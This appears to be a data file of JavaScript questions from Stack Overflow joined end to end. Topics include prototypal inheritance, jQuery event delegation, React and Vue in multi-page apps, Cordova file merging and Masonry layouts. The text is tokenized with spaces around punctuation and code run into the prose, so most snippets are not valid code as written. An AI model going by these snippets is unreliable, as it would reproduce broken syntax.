I 'm wrong ) change the name of jane once it has been Object.created.edit # 3 : ( man oh man , this is going to get me in a certain facility where people wear white coats ) . As @ WhiteHat pointed below , indeed you can set a name property to be updatable like this : and then you can do jane.name= '' Jane v2.0 '' ; .I 'll be honest here people - I do not have a clue as to which direction to take with seemingly so many options . And just today I read Eric Elliot https : //medium.com/javascript-scene/the-two-pillars-of-javascript-ee6f3281e7f3 and now I do n't know what to think anymore because he goes on to argue that people at the ES6 are n't quite doing it right : O. Meh , I guess I 'll have to revisit the Crockfords book yet again , decide on a `` one way '' and see how far it takes me . var human = { name : `` , gender : `` , planetOfBirth : 'Earth ' , sayGender : function ( ) { alert ( this.name + ' says my gender is ' + this.gender ) ; } , sayPlanet : function ( ) { alert ( this.name + ' was born on ' + this.planetOfBirth ) ; } } ; var male = Object.create ( human , { gender : { value : 'Male ' } } ) ; var female = Object.create ( human , { gender : { value : 'Female ' } } ) ; var david = Object.create ( male , { name : { value : 'David ' } , planetOfBirth : { value : 'Mars ' } } ) ; var jane = Object.create ( female , { name : { value : 'Jane ' } } ) ; david.sayGender ( ) ; // David says my gender is Maledavid.sayPlanet ( ) ; // David was born on Marsjane.sayGender ( ) ; // Jane says my gender is Femalejane.sayPlanet ( ) ; // Jane was born on Earth jane.sayPlanet = function ( ) { console.log ( `` something different '' ) ; } ; var jane = Object.create ( female , { name : { value : 'Jane ' } , sayPlanet : function ( ) { console.log ( `` something different '' ) ; } } ) ; sayPlanet : { value : function ( ) { console.log ( `` something different '' ) ; } } var jane = Object.create ( female , { name : { value : 'Jane ' , writable : true } } ) ;",How to override a function when creating a new object in the prototypal inheritance ? "JS : I 'm developing a enterprise application with java & hibernate & spring mvc in the server side and using jquery in the client side ( not a SPA ) . Now in the search page i use ajax and get only json response , but i do n't want to write something like this below in every search or pagination request . I think it 's easy to use jsx with a react or vue component just in this page to refresh the results . I want also reuse some html blocks and i think it will be easy with react or vueI used to build a little SPA project and it 's all about npm and webpack and bundling , but i really do n't want to use them since i have a multi page application and it 's very suitable for my project . I think the same thing facebook is doing , they use react but facebook is not a SPA.How can i achieve this hybrid approach ? function ( ajaxData ) { ... . $ ( ' # search ' ) .html ( `` + ' < div class= '' search-container '' > ' + ' < div class= '' search-item '' > ' + ' < div class= '' title-item '' > '+ajaxData.title+ ' < /div > ' + ... ... ' < /div > ' + ' < /div > ' ) ... . }",Enhance parts of multi page application with react or vue "JS : I 'm using immutability-helper for doing CRUD operations on state data and want to know if I should always use $ splice for removing data or is it ok to use filter ( since it 's not destructive ) ? For example , let 's say I have an array of objects : Given an item id , I can remove it in two ways : a. find its index and use $ splice : OR b. use filter : filter is more concise but I 'm not sure if it has any disadvantages compared to using $ splice in this case . todos = [ { id : 1 , body : `` eat '' } , { id : 2 , body : `` drink '' } , { id : 3 , body : `` sleep '' } , { id : 4 , body : `` run '' } ] index = todos.findIndex ( ( t ) = > { return ( t.id === id ) } ) ; newtodos = update ( todos , { $ splice : [ [ index , 1 ] ] } ) newtodos = todos.filter ( ( t ) = > { return ( t.id === id ) } ) ;",What 's the advantage of using $ splice ( from immutability-helper ) over filter to remove an item from an array in React ? "JS : I am using a delegated event handler ( jQuery ) in my JavaScript code so stuff happens when dynamically added buttons are clicked.I 'm wondering are there performance drawbacks to this ? How would it compare to this , performance-wise ? Looking at the jQuery documentation , it seems that events always bubble all the way up the DOM tree . Does that mean that the further nested an element is , the longer an event will take to work ? Edit : Is there a performance benefit to using JavaScript 's event delegation rather than jQuery 's ? is asking a similar question , and the answer there is useful . I am wondering what the difference is between using a regular event handler and a delegated event handler . The linked questions make it seem like events are constantly bubbling up the DOM tree . With a delegated event handler does the event bubble up to the top and then back down to the specified element ? // Delegated event handler $ ( document ) .on ( 'click ' , ' # dynamicallyAddedButton ' , function ( ) { console.log ( `` Hello '' ) ; } ) ; // Regular event handler $ ( `` # regularButton '' ) .on ( 'click ' , function ( ) { console.log ( `` Hello Again '' ) ; } ) ;",Are there performance drawbacks to using a delegated event handler in JavaScript and jQuery ? "JS : Blocking IE is definitely not best practice , but it 's something in my requirements for an existing application . What 's the most effective way to do that since conditional comments are n't available in IE 10 ? For IE 9 and below this will work : Assuming there 's a best practice JavaScript solution , what gotchas might I find ? I 'm wondering if there might be issues around the following : Order of events firingiframe elements that are beyond my controlPrecedence of a JS solution in the context of other < script > tagsScripts loaded via the document.write ( ' < script type= '' text/javascript '' src= '' foo.js '' > < /script > ' ) ; method.I have a feeling a lot of folks might be compelled to shout out `` use Modernizr '' and `` Are you crazy , do n't put scripts in the DOM that way ! `` , unfortunately the application is large and some enhancements are outside the scope at this point . < ! -- [ if IE ] > < script type= '' text/javascript '' > window.location = `` /IEblocked.html '' ; < /script > < ! [ endif ] -- >",Blocking modern IE ? "JS : I ca n't seem to figure it out how to make a wave from a string in Javascript.Rules : The input will always be lower case string.Ignore whitespace.Expected result : This is as far as I got . Current code will give me an answer [ `` hello '' , `` hello '' , `` hello '' , `` hello '' , `` hello '' ] . I 'm thinking using second for loop and somehow capitalize each new letter but I'am stumped . Also I would appreciate if answer would avoid using loop inside loop O ( n^2 ) . Because of BIG O Scalability . wave ( `` hello '' ) = > [ `` Hello '' , `` hEllo '' , `` heLlo '' , `` helLo '' , `` hellO '' ] wave ( `` h e y `` ) = > [ `` H e y `` , `` h E y `` , `` h e Y `` ] wave ( `` '' ) = > [ ] const wave = ( str ) = > { if ( typeof str === 'string ' & & str === str.toLowerCase ( ) ) { for ( let index = 0 ; index < str.length ; index++ ) { array.push ( str ) ; } for ( let index = 0 ; index < str.length ; index++ ) { console.log ( array ) ; } } else { alert ( ` $ { str } is either not a string or not lowercase ` ) ; } } wave ( `` hello '' ) ;",Creating a wave of string in Javascript "JS : How can I find the longest distance from a point inside a shape to its border . I am in particular trying to find the distance for these cases : Example 3 ( right without rounded corners ) would be the lower right corner but how can I calculate the other 2 ? I am looking for a JavaScript solution but I 'm happy with basic logical explanations too.Here 's the script I am using to get the farthest corner : Codepen example // the bounding boxvar bound = document.getElementById ( 'bound ' ) var radius = parseInt ( getComputedStyle ( bound ) .borderRadius , 10 ) ; // listen to eventsbound.addEventListener ( 'mousedown ' , getFarthest ) /** * get the fartest point from click to border **/function getFarthest ( event ) { // get event coordinates var y = event.layerY ; var x = event.layerX ; // get event dimensions var w = event.target.offsetWidth ; var h = event.target.offsetHeight ; // get offset var offsetX = Math.abs ( w / 2 - x ) ; var offsetY = Math.abs ( h / 2 - y ) ; // get delta var deltaX = w / 2 + offsetX ; var deltaY = h / 2 + offsetY ; // calculate size var size = Math.sqrt ( Math.pow ( deltaX , 2 ) + Math.pow ( deltaY , 2 ) - 2 * deltaX * deltaY * Math.cos ( 90 / 180 * Math.PI ) ) ; event.target.innerText = Math.round ( size ) ; }",longest distance from point to rounded rectangle or ellipse "JS : I have the following situation where I need to allow a user to select objects from a list and drag/drop them into a certain slot : The objects can be one to three times the size of a slot . So if a user drags Object 1 to Slot 0 , then it only occupies Slot 0 ( startSlot = 0 and endSlot = 0 ) . However if a user drags Object 3 to Slot 3 , then it occupies Slots 3 , 4 , and 5 ( startSlot = 3 and endSlot = 5 ) .Once the objects are dropped into the slots , a user can reorder the objects by clicking and dragging the objects up and down in the slots . Objects can not overlap each other : I am using Angular , so I 'm reading a list of objects from a database and I have a variable for the number of slots . I have attempted a couple of solutions . I believe the use of jQuery and jQueryUI draggable , droppable , and sortable is part of the solution , here is the first fiddle demonstrating drag/drop and sortable : The problem with this fiddle is that I need a set number of slots . Once an object is placed in the slots , it replaces 1 to 3 slots depending on the size of the object . The second fiddle below integrates AngularJS : The problem here is that I know I need some type of grid to snap the objects to once dragged from the object list . The result that I 'm looking for is a json list of objects in their assigned slots : [ { id : obj1 , startSlot:0 , endSlot:0 } , { id : obj3 , startSlot:3 , endSlot:5 } ] I 'm also sure the solution would need codf0rmer 's Angular Drag-Drop located here : But I 'm having problems trying to get that integrated into my fiddle to test . This is an interesting challenge I 've been spinning on for a while , if anyone can be of assistance it would be greatly appreciated . Thanks for your time . http : //jsfiddle.net/mduvall216/6hfuzvws/4/ http : //jsfiddle.net/mduvall216/zg5x4b6k/4/ https : //github.com/codef0rmer/angular-dragdrop","Combining AngularJS , jQueryUI , Angular-Drag-Drop for sorted list" "JS : Within my Cordova app , I am downloading arbitrary files like images or video files . This is done with the Cordova file-transfer plugin and the `` Range '' Header , because I need to download the files in parts.My Problem is , that I want to merge back the several small `` Byte '' -Files back together into the original file they once where to use that file . Every time I 'm trying to read the resulting parts as binaryString via the FileReader and write them together in a new file , that file ends up a lot larger than the parts of the original file altogther and the resulting file is unusable.Any help is appreciated.Here is my code until now ( long and ugly ) : async code by stackoverflow-user : Paul Facklam - > Thanks a lot ! document.addEventListener ( 'deviceready ' , deviceready , false ) ; var App ; var finishedFileUrl = `` '' ; var async = { sequence : function ( items , callback ) { var def = $ .Deferred ( ) , deferrers = [ $ .Deferred ( ) ] ; for ( var i = 0 ; i < items.length ; i++ ) { ( function ( n ) { deferrers [ n + 1 ] = $ .Deferred ( ) ; deferrers [ n ] .always ( function ( ) { callback ( items [ n ] , deferrers [ n + 1 ] ) ; } ) ; } ) ( i ) ; } deferrers [ items.length ] .always ( function ( ) { def.resolve ( ) ; } ) ; deferrers [ 0 ] .resolve ( ) ; return def.promise ( ) ; } } var aSmallImageArray = [ `` // Put URL to JPG accessible with Range Header Request here ] ; var aByteSizeImageArray = [ ] ; function formatDownloadArray ( fileSize ) { for ( var j = 1000 ; j < = fileSize ; j += 1000 ) { aByteSizeImageArray.push ( j ) ; } aByteSizeImageArray.push ( j ) ; } function deviceready ( ) { console.log ( 'dv ready ' ) ; function registerHandlers ( ) { App = new DownloadApp ( ) ; formatDownloadArray ( XXXXX ) ; // XXXXX should be size of JPG in bytes document.getElementById ( `` startDl '' ) .onclick = function ( ) { var that = this ; console.log ( `` load button clicked '' ) ; var folderName = `` testimagefolder '' ; // sequence call async.sequence ( aByteSizeImageArray , function ( currentBytes , iter ) { var filePath = aSmallImageArray [ 0 ] ; var fileName = aSmallImageArray [ 0 ] .substr ( 52,99 ) + currentBytes ; console.log ( filePath ) ; console.log ( fileName ) ; console.log ( `` Starting with : `` + fileName ) ; var uri = encodeURI ( filePath ) ; var folderName = `` testimagefolder '' ; document.getElementById ( `` statusPlace '' ) .innerHTML = `` < br/ > Loading : `` + uri ; App.load ( currentBytes , uri , folderName , fileName , function progress ( percentage ) { document.getElementById ( `` statusPlace '' ) .innerHTML = `` < br/ > '' + percentage + `` % '' ; } , function success ( entry ) { console.log ( `` Entry : `` + entry ) ; document.getElementById ( `` statusPlace '' ) .innerHTML = `` < br/ > Image saved to : `` + App.filedir ; console.log ( `` DownloadApp.filedir : `` + App.filedir ) ; iter.resolve ( ) ; } , function error ( ) { document.getElementById ( `` statusPlace '' ) .innerHTML = `` < br/ > Failed load image : `` + uri ; iter.resolve ( ) ; } ) ; } ) .then ( function afterAsync ( ) { console.log ( `` ASYNC DONE '' ) ; var ohNoItFailed = function ohNoItFailed ( exeperro ) { console.log ( exeperro ) ; } // now we merge the fileparts into one file to show it window.requestFileSystem ( LocalFileSystem.PERSISTENT , 0 , function ( FileSystem ) { FileSystem.root.getDirectory ( folderName , { create : true , exclusive : false } , function itSuccessed ( Directory ) { Directory.getFile ( aSmallImageArray [ 0 ] .substr ( 52,99 ) , { create : true , exclusive : false } , function itSuccessedAgain ( fileEntry ) { finishedFileUrl = fileEntry.toURL ( ) ; var directoryReader = Directory.createReader ( ) ; var allFiles = directoryReader.readEntries ( function succesReadDir ( fileEntries ) { async.sequence ( fileEntries , function ( currentFile , iterThis ) { currentFile.file ( function ( theActualFile ) { var myFileReader = new FileReader ( ) ; myFileReader.onload = function ( content ) { console.log ( 'FileReader onload event fired ! ' ) ; console.log ( 'File Content should be : ' + content.target.result ) ; fileEntry.createWriter ( function mergeImage ( writer ) { writer.onwrite = function ( evnt ) { console.log ( `` Writing successful ! `` ) ; iterThis.resolve ( ) ; } writer.seek ( writer.length ) ; writer.write ( content.target.result ) ; } , ohNoItFailed ) ; } ; myFileReader.readAsBinaryString ( theActualFile ) ; } , ohNoItFailed ) ; } ) .then ( function afterAsyncTwo ( ) { console.log ( `` NOW THE IMAGE SHOULD BE TAKEN FROM THIS PATH : `` + finishedFileUrl ) ; //window.requestFileSystem ( LocalFileSystem.PERSISTENT , 0 , function ( FileSystem ) { //FileSystem.root.getDirectory ( folderName , { create : true , exclusive : false } , function itSuccessed ( Directory ) { //Directory.getFile ( aSmallImageArray [ 0 ] .substr ( 52,99 ) , { create : true , exclusive : false } , function itSuccessedAgain ( fileEntry ) { //fileEntry.createWriter ( document.getElementById ( `` image_here '' ) .src = finishedFileUrl ; } ) ; } , ohNoItFailed ) ; } , ohNoItFailed ) ; } , ohNoItFailed ) ; } , ohNoItFailed ) ; } ) ; } ; } registerHandlers ( ) ; } var DownloadApp = function ( ) { } DownloadApp.prototype = { filedir : `` '' , load : function ( currentBytes , uri , folderName , fileName , progress , success , fail ) { var that = this ; that.progress = progress ; that.success = success ; that.fail = fail ; filePath = `` '' ; that.getFilesystem ( function ( fileSystem ) { console.log ( `` GotFS '' ) ; that.getFolder ( fileSystem , folderName , function ( folder ) { filePath = folder.toURL ( ) + fileName ; console.log ( `` FILEPATH : `` + filePath ) ; console.log ( `` URI : `` + uri ) ; that.transferFile ( currentBytes , uri , filePath , progress , success , fail ) ; } , function ( error ) { console.log ( `` Failed to get folder : `` + error.code ) ; typeof that.fail === 'function ' & & that.fail ( error ) ; } ) ; } , function ( error ) { console.log ( `` Failed to get filesystem : `` + error.code ) ; typeof that.fail === 'function ' & & that.fail ( error ) ; } ) ; } , getFilesystem : function ( success , fail ) { window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem ; window.requestFileSystem ( LocalFileSystem.PERSISTENT , 0 , success , fail ) ; } , getFolder : function ( fileSystem , folderName , success , fail ) { fileSystem.root.getDirectory ( folderName , { create : true , exclusive : false } , success , fail ) } , transferFile : function ( currentBytes , uri , filePath , progress , success , fail ) { var that = this ; that.progress = progress ; that.success = success ; that.fail = fail ; console.log ( `` here we go '' ) ; console.log ( `` filePath before Request : `` + filePath ) ; var previousBytes = currentBytes - 1000 ; var transfer = new FileTransfer ( ) ; transfer.onprogress = function ( progressEvent ) { if ( progressEvent.lengthComputable ) { var perc = Math.floor ( progressEvent.loaded / progressEvent.total * 100 ) ; typeof that.progress === 'function ' & & that.progress ( perc ) ; // progression on scale 0..100 ( percentage ) as number } else { } } ; transfer.download ( uri , filePath , function success ( entry ) { console.log ( `` File saved to : `` + entry.toURL ( ) ) ; typeof that.success === 'function ' & & that.success ( entry ) ; } , function errorProblem ( error ) { console.log ( `` An error has occurred : Code = `` + error.code ) ; console.log ( `` download error source `` + error.source ) ; console.log ( `` download error target `` + error.target ) ; console.log ( `` download error code `` + error.code ) ; typeof that.fail === 'function ' & & that.fail ( error ) ; } , true , { headers : { `` Range '' : `` bytes= '' + previousBytes + `` - '' + currentBytes } } ) ; } }",Merging multiple parts of a file in Cordova "JS : Very old , but very UNsolved subject : image.onload not called.Code tells the story better than words ... Calling .html =Called .html =* EDIT # 1 *Two more bits ... I decided to download Google 's Chrome and test my .html locally on it . Chrome accessed the .onerror Event Handler of my original code . Safari and Firefox never did ? ? ? Another curious observation ... using Chrome , alert ( err ) inside my .onerror Event Handler produced `` undefined '' . But , I did use alert ( this.width ) and alert ( this.naturalWidth ) , each showing 0 ... which means it is an invalid image ? ? ? And the invalid image error even occurs if I place the src before the .onload Handler.That really is it for now ! * EDIT # 2 - on August 8th , 2015 *1 ) I am truly very sorry I have not returned earlier ... but I began to not feel well , so got a little more physical rest2 ) Anyway , I implemented Dave Snyder 's wonderful IIFE code and it definitely worked ... the code within the .onload Handler properly worked and I am truly extremely grateful to Dave and all the time he provided to little-ole-me . Of course , I dumped the newConnection = new MeasureConnectionSpeed ( ) and used Dave 's IIFE approach.Now , all I have to figure out why this code is giving me about 5 Mbps speed numbers where I have 30 Mbps via my Ethernet Router . I would truly expect to see a number close.I really , really hate to have to include another API since my whole purpose of speed measurement is to decide weather to redirect to a relatively `` busy '' site or to a `` keep it simple '' version.Tons of thanks , Dave . You 're my hero.John Love < script > var newConnection = new MeasureConnectionSpeed ( ) ; if ( newConnection.isHighSpeed ( ) ) doSomething1 ; else doSomething2 ; < /script > < script > function MeasureConnectionSpeed ( ) { var connection = this ; var imgDownloadSrc = `` http : //someLargeImage.jpg '' ; var imgDownloadSize = 943 * 1024 ; // bytes var startTime = 0 , endTime = 0 ; // set later connection.isHighSpeedConnection = false ; // = a Object Property // an Object Method ... // just the function declaration which is called via // connection.computeResults ( ) connection.isHighSpeed = isHighSpeed ; connection.computeResults = computeResults ; // another Object Method var testImgDownload = new Image ( ) ; testImgDownload.onload = function ( ) { endTime = ( new Date ( ) ) .getTime ( ) ; connection.computeResults ( ) ; } // testImgDownload.onload testImgDownload.onerror = function ( err , msg ) { alert ( `` Invalid image , or error downloading '' ) ; } // We immediately continue while testImgDownload is still loading ... // the timer is started here and ended inside testImgDownload.onload startTime = ( new Date ( ) ) .getTime ( ) ; // This forces an attempt to download the testImgDownload and get the // measurements withOUT actually downloading to your Cache : var cacheBuster = `` ? nnn= '' + startTime ; testImgDownload.src = imgDownloadSrc + cacheBuster ; function computeResults ( ) { var speedMbps = someNumber ; connection.isHighSpeedConnection = speedMbps > 20 ; } // computeResults // this.isHighSpeed ( ) = isHighSpeed ( ) function isHighSpeed ( ) { return connection.isHighSpeedConnection ; } } // MeasureConnectionSpeed < /script >",Revisited = image.onload NOT called "JS : From the docs , you can do this : require.ensure does not evaluate the modules until you require ( ) them . Later , they give another example , Where the ensure array is empty.So my questions are : Do I have to specify my modules twice ? Once as the first argument to require.ensure and again inside the callback ? Are there differences between specifying or omitting that first arg ? The callback gives me back a new require function but we already have a global one . Is there a difference between the local one and global one ? Can webpack even differentiate them , since it has to do this statically ? require.ensure ( [ `` module-a '' , `` module-b '' ] , function ( require ) { var a = require ( `` module-a '' ) ; // ... } ) ; require.ensure ( [ ] , function ( require ) { let contacts = require ( './contacts ' ) } ) ;",How does webpack 's require.ensure work ? "JS : I want to calculate the length of a line for a series of events.I 'm doing this with the following code.This works , but I 'm using linear scaling , while I 'd like to use logarithms , because I do n't want small events to become too small numbers when big ones are present . I modified the lineLen function as you can see below , but - obviously - it does n't work for events equals to one , because the log of one is zero . I want to show events equals to one ( opportunely scaled ) and not make them become zero . I also need positive numbers to remain positive ( 0.1 becomes a negative number ) How should I modify lineLen to use a logarithmic scale ? var maxLineLength = 20 ; var lineLen = function ( x , max ) { return maxLineLength * ( x / max ) ; } var events = [ 0.1 , 1 , 5 , 20 , 50 ] ; var max = Math.max.apply ( null , events ) ; events.map ( function ( x ) { console.log ( lineLen ( x , max ) ) ; } ) ; var maxLineLength = 20 ; var lineLen = function ( x , max ) { return maxLineLength * ( Math.log ( x ) / Math.log ( max ) ) ; } var events = [ 0.1 , 1 , 5 , 20 , 50 ] ; var max = Math.max.apply ( null , events ) ; events.map ( function ( x ) { console.log ( lineLen ( x , max ) ) ; } ) ;",Calculating the length of a segment in a logarithmic scale "JS : I 'm a part time newish developer working on a Chrome extension designed to work as an internal CR tool . The concept is simple , on a keyboard shortcut , the extension gets the word next to the caret , checks it for a pattern match , and if the match is 'true ' replaces the word with a canned response . To do this , I mostly used a modified version of this answer . I 've hit a roadblock in that using this works for the active element , but it does n't appear to work for things such as the 'compose ' window in Chrome , or consistently across other services ( Salesforce also seems to not like it , for example ) . Poking about a bit I thought this might be an issue with iFrames , so I tinkered about a bit and modified this peace of code : ( Which I originally got from another SO post I can no longer find ) . Seems as though I 'm out of luck though , as no dice . Is there a simple way to always get the active element with the active caret on every page , even for the Gmail compose window and similar services , or am I going to be stuck writting custom code for a growing list of servcies that my code ca n't fetch the caret on ? My full code is here . It 's rough while I just try to get this to work , so I understand there 's sloppy parts of it that need tidied up : function getActiveElement ( document ) { document = document || window.document ; if ( document.body === document.activeElement || document.activeElement.tagName == 'IFRAME ' ) { // Check if the active element is in the main web or iframe var iframes = document.getElementsByTagName ( 'iframe ' ) ; // Get iframes for ( var i = 0 ; i < iframes.length ; i++ ) { var focused = getActiveElement ( iframes [ i ] .contentWindow.document ) ; // Recall if ( focused ! == false ) { return focused ; // The focused } } } else return document.activeElement ; } ; function AlertPrevWord ( ) { //var text = document.activeElement ; //Fetch the active element on the page , cause that 's where the cursor is . var text = getActiveElement ( ) ; console.log ( text ) ; var caretPos = text.selectionStart ; //get the position of the cursor in the element . var word = ReturnWord ( text.value , caretPos ) ; //Get the word before the cursor . if ( word ! = null ) { //If it 's not blank return word //send it back . } } function ReturnWord ( text , caretPos ) { var index = text.indexOf ( caretPos ) ; //get the index of the cursor var preText = text.substring ( 0 , caretPos ) ; //get all the text between the start of the element and the cursor . if ( preText.indexOf ( `` `` ) > 0 ) { //if there 's more then one space character var words = preText.split ( `` `` ) ; //split the words by space return words [ words.length - 1 ] ; //return last word } else { //Otherwise , if there 's no space character return preText ; //return the word } } function getActiveElement ( document ) { document = document || window.document ; if ( document.body === document.activeElement || document.activeElement.tagName == 'IFRAME ' ) { // Check if the active element is in the main web or iframe var iframes = document.getElementsByTagName ( 'iframe ' ) ; // Get iframes for ( var i = 0 ; i < iframes.length ; i++ ) { var focused = getActiveElement ( iframes [ i ] .contentWindow.document ) ; // Recall if ( focused ! == false ) { return focused ; // The focused } } } else return document.activeElement ; } ;",Find Caret Position Anywhere on page "JS : So , I was experimented one day when I came across this question in Stack Overflow and got curious : Maximum size of an Array in Javascript ( Maximum size of an Array in JavaScript ) .Question is , what is the Maximum depth of an Array in JavaScript ? By depth I mean how much can you nest an array within an array until JavaScript gives up ? Is it machine-dependent , is it based on the compiler ? No , I 'm not sure if there 's any practical use for this but it 's still something I 'm curious about nonetheless . [ 1 ] // Depth Level : 1 [ 1 , [ 2 ] ] // Depth Level : 2 [ 1 , [ 2 , [ 3 ] ] ] // Depth Level : 3 [ 1 , [ ... ] ] // Depth Level : x ?",Maximum depth of an Array in JavaScript "JS : I 'm familiar with the concept of ngTransclude via AngularJS and this.props.children via ReactJs , however does Aurelia support transclusion , that is , the notion of inserting , or transcluding , arbitrary content into another component ? Transclusion in AngularJS ( https : //plnkr.co/edit/i3STs2MjPrLhIDL5eANg ) HTMLJSRESULTTransclusion in ReactJs ( https : //plnkr.co/edit/wDHkvVJR3FL09xvnCeHE ) JSRESULT < some-component > Hello world < /some-component > app.directive ( 'someComponent ' , function ( ) { return { restrict : ' E ' , transclude : true , template : ` < div style= '' border : 1px solid red '' > < div ng-transclude > < /div > ` } } ) const Main = ( props ) = > ( < SomeComonent > hello world < /SomeComonent > ) ; const SomeComonent = ( { children } ) = > ( < div style= { { border : '1px solid red ' } } > { children } < /div > ) ;",Does Aurelia support transclusion ? "JS : Are there any events that trigger on form elements when a user enters input via the MacBook Touch Bar ? Here is a trivial example : On Safari , when I `` type '' using the Touch Bar ( e.g . tapping on emojis or autosuggested text ) , I do n't see any events in the web inspector console . However , the regular keyboard will fire the keydown , keypress , and keyup events as expected . < textarea id= '' textarea '' > < /textarea > ( function ( $ ) { $ ( ' # textarea ' ) .on ( 'keyup ' , function ( ) { console.log ( 'keyup ' ) ; } ) .on ( 'keydown ' , function ( ) { console.log ( 'keydown ' ) ; } ) .on ( 'keypress ' , function ( ) { console.log ( 'keypress ' ) } ) ; } ) ( jQuery ) ;",Form input events for Macbook touch bar "JS : I have a page pages/login.js looks like : I have another page pages/hompage.js homepage.js attempts to include pages/login.js as a sectionI then have a test case that attempts to login on the hompage sectionThis test then fails with the following error function fillAndSubmitLogin ( email , password ) { return this .waitForElementVisible ( ' @ emailInput ' ) .setValue ( ' @ emailInput ' , email ) .setValue ( ' @ passwordInput ' , password ) .waitForElementVisible ( ' @ loginSubmitButton ' ) .click ( ' @ loginSubmitButton ' ) ; } export default { commands : [ fillAndSubmitLogin ] , elements : { emailInput : 'input # email ' , passwordInput : 'input [ type=password ] ' , TFAInput : 'input # token ' , loginSubmitButton : '.form-actions button.btn.btn-danger ' } } ; import login from `` ./login.js '' ; module.exports = { url : 'http : //localhost:2001 ' , sections : { login : { selector : 'div.login-wrapper ' , ... login } } } ; 'Homepage Users can login ' : ( client ) = > { const homepage = client.page.homepage ( ) ; homepage .navigate ( ) .expect.section ( ' @ login ' ) .to.be.visible ; const login = homepage.section.login ; login .fillAndSubmitLogin ( 'user @ test.com ' , 'password ' ) ; client.end ( ) ; } TypeError : login.fillAndSubmitLogin is not a function at Object.Homepage Users can login ( /Users/kevzettler//frontend/test/nightwatch/specs/homepage.spec.js:32:6 ) at < anonymous > at process._tickCallback ( internal/process/next_tick.js:182:7 ) login.fillAndSubmitLogin is not a function at Object.Homepage Users can login ( /Users/kevzettler//frontend/test/nightwatch/specs/homepage.spec.js:32:6 ) at < anonymous > at process._tickCallback ( internal/process/next_tick.js:182:7 )",How to nest nightwatch.js commands in page sections ? "JS : Having a problem with AJAX and Masonry grid . Masonry grid is simple not being initiated at the right moments.Before scrolling or using the parametric search to go to a specific category , it works very well.Sample site can be found here.MasonryMasonry is a JavaScript grid layout library . Used normally with Bootstrap or another grid system that does not align the items correctly . Example : Only bootstrap : Bootstrap and Masonry : When scrollingThe next columns are being added above the older ones . Giving almost the same output as unloaded images which makes images overlapping . This is normally solved by using imagesLoaded which I have already included in the provided code.When using parametric searchThe Masonry is not being fired after the AJAX . Meaning it does not work at all . So the columns are being loaded without Masonry.Please see sample site.Both scrolling and parametric search is delivered by Toolset . They have a good system with making it very easy to load JS at specific times : After the AJAX Pagination with Toolset has been completed.When parametric search has been triggered.When the parametric search data has been collected.When the parametric search form has been updated.When the parametric search results have been updated.So both after pagination and before/during/after Parametric search . Since the problem is after scrolling , and after the results for Parametric search has been updated , I would like to initiate the Masonry grid at this very moment.The easiest example is when the scrolling is done , or pagination as it 's also called.What I have triedI used reloadItems as I guessed would be correct . Please correct me if I am wrong . Resource.In my theory it would reload all the items when scrolling , so they would be arranged properly . But it changes nothing.I have also tried the following : I also tried to reload the items when the parametric search results has been updated.But this did not work either.The Masonry is also added in the footer by using one of the methodes.Do you have any ideas ? Where am I doing wrong ? Edit 1 : Console ErrorWhen loading the pageUncaught ReferenceError : data is not definedWhen scrollingUncaught ReferenceError : $ container is not definedChanged the function to the followingUpdated imagesloaded to newest versionI also updated imagesloaded to the newest version.Script can be found here.Added .itemI added the class .item instead of using col-md-3 , as I thought it would be a better solution.Meaning the HTML is the following right now : And so on.Still console errors.Any solutions ? jQuery ( document ) .on ( 'js_event_wpv_pagination_completed ' , function ( event , data ) { $ container.masonry ( 'reloadItems ' ) } ) ; jQuery ( document ) .on ( 'js_event_wpv_pagination_completed ' , function ( event , data ) { var $ container = $ ( '.masonry-container ' ) ; $ container.imagesLoaded ( function ( ) { $ container.masonry ( 'reload ' ) ; $ container.masonry ( { isInitLayout : true , itemSelector : '.col-md-3 ' } ) ; } ) ; //and on ajax call append or prepend $ container.prepend ( $ data ) .imagesLoaded ( function ( ) { $ container.masonry ( 'prepended ' , $ data , true ) ; } ) ; } ) ; jQuery ( document ) .on ( 'js_event_wpv_parametric_search_results_updated ' , function ( event , data ) { $ container.masonry ( 'reloadItems ' ) } ) ; ( function ( $ ) { `` use strict '' ; var $ container = $ ( '.masonry-container ' ) ; $ container.imagesLoaded ( function ( ) { $ container.masonry ( { columnWidth : '.col-md-3 ' , percentPosition : true , itemSelector : '.col-md-3 ' } ) ; } ) ; } ) ( jQuery ) ; ( function ( $ ) { // Initiate Masonry `` use strict '' ; var $ container = $ ( '.masonry-container ' ) ; $ container.imagesLoaded ( function ( ) { $ container.masonry ( { columnWidth : '.item ' , percentPosition : true , itemSelector : '.item ' , isAnimated : true // the animated makes the process smooth } ) ; } ) ; $ ( window ) .resize ( function ( ) { $ ( '.masonry-container ' ) .masonry ( { itemSelector : '.item ' , isAnimated : true } , 'reload ' ) ; } ) ; } ) ( jQuery ) ; //and on ajax call append or prepend more itemsvar $ data = $ ( data ) .filter ( `` .item '' ) ; $ container.prepend ( $ data ) .imagesLoaded ( function ( ) { $ container.masonry ( 'prepended ' , $ data , true ) ; } ) ; < div class= '' container '' > < div class= '' masonry-container '' > < div class= '' item '' > < ! -- Content comes here -- > < /div > < div class= '' item '' > < ! -- Content comes here -- > < /div > < div class= '' item '' > < ! -- Content comes here -- > < /div > < div class= '' item '' > < ! -- Content comes here -- > < /div > ... < /div > < /div >",Initiate Masonry - After infinite scroll and parametric search "JS : The popular comic xkcd posed this equation for converting time complete into a date : I 've been trying to do the same in JavaScript , although I keep getting -Infinity . Here 's the code : Time will return a huge number ( milliseconds ) , and I know that the equation is n't meant to deal with milliseconds - so how would one do an advanced date equation with JavaScript ? var p = 5 ; // Percent Complete var today = new Date ( ) ; today = today.getTime ( ) ; var t ; t = ( today ) - ( Math.pow ( Math.E , ( 20.3444 * Math.pow ( p,3 ) ) ) -Math.pow ( Math.E,3 ) ) ; document.write ( t + `` years '' ) ;",'Backward in Time ' xkcd "JS : Suppose you have to write a program that will test all programs in search of one that completes a specific task . For example , consider this JavaScript function : As long as string ( n ) returns the nth string possible ( `` a '' , `` b '' , `` c '' , ... `` aa '' , `` ab '' ... ) , this program would eventually output a function that evaluated to 42 . The problem with this method is that it is enumerating strings that could or could n't be a valid program . My question is : is it possible to enumerate programs themselves ? How ? function find_truth ( ) { for ( n=0 ; ; ++n ) { try { var fn = Function ( string ( n ) ) ; if ( fn ( ) == 42 ) return fn ; } catch ( ) { continue ; } } }",Is it possible to enumerate computer programs ? "JS : I have a generic question about javascript specification or implementation of functions pointer ( delegates ? ) which are points to object methods.Please , read the following code snippet . Here we have an object with a method using 'this ' to access an object field . When we call this method as usual ( 